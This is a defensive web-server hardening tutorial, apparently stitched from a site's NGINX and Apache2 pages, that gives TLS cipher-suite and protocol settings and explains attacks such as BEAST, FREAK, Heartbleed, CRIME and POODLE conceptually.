When possible, you should enable HTTP Strict Transport Security (HSTS), which instructs browsers to communicate with your site only over HTTPS.

View my article on HTST to see how to configure it.

HTTP Public Key Pinning Extension

You should also enable the HTTP Public Key Pinning Extension.

Public Key Pinning means that a certificate chain must include a whitelisted public key. It ensures only whitelisted Certificate Authorities (CA) can sign certificates for *.example.com, and not any CA in your browser store.

I’ve written an article about it that has background theory and configuration examples for Apache, Lighttpd and NGINX

Config Example

server {

  listen [::]:443 default_server;

  ssl on;
  ssl_certificate_key /etc/ssl/cert/raymii_org.pem;
  ssl_certificate /etc/ssl/cert/ca-bundle.pem;

  ssl_ciphers 'AES128+EECDH:AES128+EDH:!aNULL';

  ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
  ssl_session_cache shared:SSL:10m;

  ssl_stapling on;
  ssl_stapling_verify on;
  resolver 8.8.4.4 8.8.8.8 valid=300s;
  resolver_timeout 10s;

  ssl_prefer_server_ciphers on;
  ssl_dhparam /etc/ssl/certs/dhparam.pem;

  add_header Strict-Transport-Security max-age=63072000;
  add_header X-Frame-Options DENY;
  add_header X-Content-Type-Options nosniff;

  root /var/www/;
  index index.html index.htm;
  server_name raymii.org;

}

Conclusion

If you have applied the above config lines you need to restart nginx:

# Check the config first:
/etc/init.d/nginx configtest
# Then restart:
/etc/init.d/nginx restart

Now use the SSL Labs test to see if you get a nice A. And, of course, have a safe, strong and future proof SSL configuration!

Strong SSL Security on Apache2


This tutorial shows you how to set up strong SSL security on the Apache2 webserver. We do this by disabling SSL Compression to mitigate the CRIME attack, disable SSLv3 and below because of vulnerabilities in the protocol and we will set up a ciphersuite that enables Forward Secrecy when possible. We also set up HSTS and HPKP. This way we have a strong and future proof ssl configuration and we get an A on the Qually Labs SSL Test.

TL;DR: Copy-pastable strong cipherssuites for NGINX, Apache and Lighttpd: https://cipherli.st

This tutorial is tested on a Digital Ocean VPS. If you like this tutorial and want to support my website, use this link to order a Digital Ocean VPS: https://www.digitalocean.com/

This tutorial works with the strict requirements of the SSL Labs test

This tutorial is also available for NGINX
This tutorial is also available for Lighttpd
This tutorial is also available for FreeBSD, NetBSD and OpenBSD over at the BSD Now podcast: [http://www.bsdnow.tv/tutorials/nginx](http://www.bsdnow.tv/tutorials/nginx

You can find more info on the topics by following the links below:

Make sure you back up the files before editing them!

The BEAST attack and RC4

In short, by tampering with an encryption algorithm’s CBC – cipher block chaining – mode’s, portions of the encrypted traffic can be secretly decrypted. More info on the above link.

Recent browser versions have enabled client side mitigation for the beast attack. The recommendation was to disable all TLS 1.0 ciphers and only offer RC4. However, [RC4 has a growing list of attacks against it],(http://www.isg.rhul.ac.uk/tls/) many of which have crossed the line from theoretical to practical. Moreover, there is reason to believe that the NSA has broken RC4, their so-called “big breakthrough.”

Disabling RC4 has several ramifications. One, users with shitty browsers such as Internet Explorer on Windows XP will use 3DES in lieu. Triple-DES is more secure than RC4, but it is significantly more expensive. Your server will pay the cost for these users. Two, RC4 mitigates BEAST. Thus, disabling RC4 makes TLS 1.0 users susceptible to that attack, by moving them to AES-CBC (the usual server-side BEAST “fix” is to prioritize RC4 above all else). I am confident that the flaws in RC4 significantly outweigh the risks from BEAST. Indeed, with client-side mitigation (which Chrome and Firefox both provide), BEAST is a nonissue. But the risk from RC4 only grows: More cryptanalysis will surface over time.

Factoring RSA-EXPORT Keys (FREAK)

FREAK is a man-in-the-middle (MITM) vulnerability discovered by a group of cryptographers at INRIA, Microsoft Research and IMDEA. FREAK stands for “Factoring RSA-EXPORT Keys.”

The vulnerability dates back to the 1990s, when the US government banned selling crypto software overseas, unless it used export cipher suites which involved encryption keys no longer than 512-bits.

It turns out that some modern TLS clients – including Apple’s SecureTransport and OpenSSL – have a bug in them. This bug causes them to accept RSA export-grade keys even when the client didn’t ask for export-grade RSA. The impact of this bug can be quite nasty: it admits a ‘man in the middle’ attack whereby an active attacker can force down the quality of a connection, provided that the client is vulnerable and the server supports export RSA.

There are two parts of the attack as the server must also accept “export grade RSA.”

The MITM attack works as follows:

  • In the client’s Hello message, it asks for a standard ‘RSA’ ciphersuite.
  • The MITM attacker changes this message to ask for ‘export RSA’.
  • The server responds with a 512-bit export RSA key, signed with its long-term key.
  • The client accepts this weak key due to the OpenSSL/SecureTransport bug.
  • The attacker factors the RSA modulus to recover the corresponding RSA decryption key.
  • When the client encrypts the ‘pre-master secret’ to the server, the attacker can now decrypt it to recover the TLS ‘master secret’.
  • From here on out, the attacker sees plaintext and can inject anything it wants.

The ciphersuite offered here on this page does not enable EXPORT grade ciphers. Make sure your OpenSSL is updated to the latest available version and urge your clients to also use upgraded software.

Heartbleed

Heartbleed is a security bug disclosed in April 2014 in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. Heartbleed may be exploited regardless of whether the party using a vulnerable OpenSSL instance for TLS is a server or a client. It results from improper input validation (due to a missing bounds check) in the implementation of the DTLS heartbeat extension (RFC6520), thus the bug’s name derives from “heartbeat”. The vulnerability is classified as a buffer over-read, a situation where more data can be read than should be allowed.

What versions of the OpenSSL are affected by Heartbleed?

Status of different versions:

  • OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
  • OpenSSL 1.0.1g is NOT vulnerable
  • OpenSSL 1.0.0 branch is NOT vulnerable
  • OpenSSL 0.9.8 branch is NOT vulnerable

The bug was introduced to OpenSSL in December 2011 and has been out in the wild since OpenSSL release 1.0.1 on 14th of March 2012. OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.

By updating OpenSSL you are not vulnerable to this bug.

SSL Compression (CRIME attack)

The CRIME attack uses SSL Compression to do its magic, so we need to disable that. On Apache 2.2.24+ we can add the following line to the SSL config file we also edited above:

SSLCompression off

If you are using al earlier version of Apache and your distro has not backported this option then you need to recompile OpenSSL without ZLIB support. This will disable the use of OpenSSL using the DEFLATE compression method. If you do this then you can still use regular HTML DEFLATE compression.

SSLv2 and SSLv3

SSL v2 is insecure, so we need to disable it. We also disable SSLv3, as TLS 1.0 suffers a downgrade attack, allowing an attacker to force a connection to use SSLv3 and therefore disable forward secrecy.

SSLv3 allows exploiting of the POODLE bug. This is one more major reason to disable this!

Again edit the config file:

SSLProtocol All -SSLv2 -SSLv3

All is a shortcut for +SSLv2 +SSLv3 +TLSv1 or – when using OpenSSL 1.0.1 and later – +SSLv2 +SSLv3 +TLSv1 +TLSv1.1 +TLSv1.2, respectively. The above line enables everything except SSLv2 and SSLv3. More info on the apache website

Poodle and TLS-FALLBACK-SCSV

SSLv3 allows exploiting of the POODLE bug. This is one more major reason to disable this.

Google have proposed an extension to SSL/TLS named TLSFALLBACKSCSV that seeks to prevent forced SSL downgrades. This is automatically enabled if you upgrade OpenSSL to the following versions:

  • OpenSSL 1.0.1 has TLSFALLBACKSCSV in 1.0.1j and higher.
  • OpenSSL 1.0.0 has TLSFALLBACKSCSV in 1.0.0o and higher.
  • OpenSSL 0.9.8 has TLSFALLBACKSCSV in 0.9.8zc and higher.

The Cipher Suite

(Perfect) Forward Secrecy ensures the integrity of a session key in the event that a long-term key is compromised. PFS accomplishes this by enforcing the derivation of a new key for each and every session.

This means that when the private key gets compromised it cannot be used to decrypt recorded SSL traffic.

The cipher suites that provide Perfect Forward Secrecy are those that use an ephemeral form of the Diffie-Hellman key exchange. Their disadvantage is their overhead, which can be improved by using the elliptic curve variants.

The following two ciphersuites are recommended by me, and the latter by the Mozilla Foundation.

The recommended cipher suite:

SSLCipherSuite AES128+EECDH:AES128+EDH

The recommended cipher suite for backwards compatibility (IE6/WinXP):

SSLCipherSuite ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4

If your version of OpenSSL is old, unavailable ciphers will be discarded automatically. Always use the full ciphersuite above and let OpenSSL pick the ones it supports.

The ordering of a ciphersuite is very important because it decides which algorithms are going to be selected in priority. The recommendation above prioritizes algorithms that provide perfect forward secrecy.

Older versions of OpenSSL may not return the full list of algorithms. AES-GCM and some ECDHE are fairly recent, and not present on most versions of OpenSSL shipped with Ubuntu or RHEL.

Prioritization logic

  • ECDHE+AESGCM ciphers are selected first. These are TLS 1.2 ciphers and not widely supported at the moment. No known attack currently target these ciphers.
  • PFS ciphersuites are preferred, with ECDHE first, then DHE.
  • AES 128 is preferred to AES 256. There has been discussions on whether AES256 extra security was worth the cost, and the result is far from obvious. At the moment, AES128 is preferred, because it provides good security, is really fast, and seems to be more resistant to timing attacks.
  • In the backward compatible ciphersuite, AES is preferred to 3DES. BEAST attacks on AES are mitigated in TLS 1.1 and above, and difficult to achieve in TLS 1.0. In the non-backward compatible ciphersuite, 3DES is not present.
  • RC4 is removed entirely. 3DES is used for backward compatibility. See discussion in #RC4_weaknesses

Mandatory discards

  • aNULL contains non-authenticated Diffie-Hellman key exchanges, that are subject to Man-In-The-Middle (MITM) attacks
  • eNULL contains null-encryption ciphers (cleartext)
  • EXPORT are legacy weak ciphers that were marked as exportable by US law
  • RC4 contains ciphers that use the deprecated ARCFOUR algorithm
  • DES contains ciphers that use the deprecated Data Encryption Standard
  • SSLv2 contains all ciphers that were defined in the old version of the SSL standard, now deprecated
  • MD5 contains all the ciphers that use the deprecated message digest 5 as the hashing algorithm

With Apache 2.2.x you have only DHE suites to work with, but they are not enough. Internet Explorer (in all versions) does not support the required DHE suites to achieve Forward Secrecy. (Unless youre using DSA keys, but no one does; that’s a long story.) Apache does not support configurable DH parameters in any version, but there are patches you could use if you can install from source.

Even if openssl can provide ECDHE the apache 2.2 in debian stable does not support this mechanism. You need apache 2.4 to fully support forward secrecy.

A workaround could be the usage of nginx as a reverse proxy because it fully supports ECDHE.

Make sure you also add this line:

SSLHonorCipherOrder on

When choosing a cipher during an SSLv3 or TLSv1 handshake, normally the client’s preference is used. If this directive is enabled, the server’s preference will be used instead.

Forward Secrecy & Diffie Hellman Ephemeral Parameters

The concept of forward secrecy is simple: client and server negotiate a key that never hits the wire, and is destroyed at the end of the session. The RSA private from the server is used to sign a Diffie-Hellman key exchange between the client and the server. The pre-master key obtained from the Diffie-Hellman handshake is then used for encryption. Since the pre-master key is specific to a connection between a client and a server, and used only for a limited amount of time, it is called Ephemeral.

With Forward Secrecy, if an attacker gets a hold of the server’s private key, it will not be able to decrypt past communications. The private key is only used to sign the DH handshake, which does not reveal the pre-master key. Diffie-Hellman ensures that the pre-master keys never leave the client and the server, and cannot be intercepted by a MITM.

Apache prior to version 2.4.7 and all versions of Nginx as of 1.4.4 rely on OpenSSL for input parameters to Diffie-Hellman (DH). Unfortunately, this means that Ephemeral Diffie-Hellman (DHE) will use OpenSSL’s defaults, which include a 1024-bit key for the key-exchange. Since we’re using a 2048-bit certificate, DHE clients will use a weaker key-exchange than non-ephemeral DH clients.

For Apache, there is no fix except to upgrade to 2.4.7 or later. With that version, Apache automatically selects a stronger key.

Around May, Debian backported ECDH ciphers to work with apache 2.2, and it’s possible to get PFS: http://metadata.ftp-master.debian.org/changelogs//main/a/apache2/apache22.2.22-13+deb7u3changelog

> apache2 (2.2.22-13+deb7u2) wheezy; urgency=medium

  * Backport support for SSL ECC keys and ECDH ciphers.

HTTP Strict Transport Security

When possible, you should enable HTTP Strict Transport Security (HSTS), which instructs browsers to communicate with your site only over HTTPS.

View my article on HTST to see how to configure it.

HTTP Public Key Pinning Extension

You should also enable the HTTP Public Key Pinning Extension.

Public Key Pinning means that a certificate chain must include a whitelisted public key. It ensures only whitelisted Certificate Authorities (CA) can sign certificates for *.example.com, and not any CA in your browser store.

I’ve written an article about it that has background theory and configuration examples for Apache, Lighttpd and NGINX

OCSP Stapling

When connecting to a server, clients should verify the validity of the server certificate using either a Certificate Revocation List (CRL), or an Online Certificate Status Protocol (OCSP) record. The problem with CRL is that the lists have grown huge and takes forever to download.

OCSP is much more lightweight, as only one record is retrieved at a time. But the side effect is that OCSP requests must be made to a 3rd party OCSP responder when connecting to a server, which adds latency and potential failures. In fact, the OCSP responders operated by CAs are often so unreliable that browser will fail silently if no response is received in a timely manner. This reduces security, by allowing an attacker to DoS an OCSP responder to disable the validation.

The solution is to allow the server to send its cached OCSP record during the TLS handshake, therefore bypassing the OCSP responder. This mechanism saves a roundtrip between the client and the OCSP responder, and is called OCSP Stapling.

The server will send a cached OCSP response only if the client requests it, by announcing support for the status_request TLS extension in its CLIENT HELLO.

Most servers will cache OCSP response for up to 48 hours. At regular intervals, the server will connect to the OCSP responder of the CA to retrieve a fresh OCSP record. The location of the OCSP responder is taken from the Authority Information Access field of the signed certificate.

View my tutorial on enabling OCSP stapling on Apache

Conclusion

If you have applied the above config lines you need to restart apache:

# Check the config first:
apache2ctl -t
# Then restart:
/etc/init.d/apache2 restart

# If you are on RHEL/CentOS:
apachectl -t
/etc/init.d/httpd restart

Now use the SSL Labs test to see if you get a nice A. And, of course, have a safe, strong and future proof SSL configuration!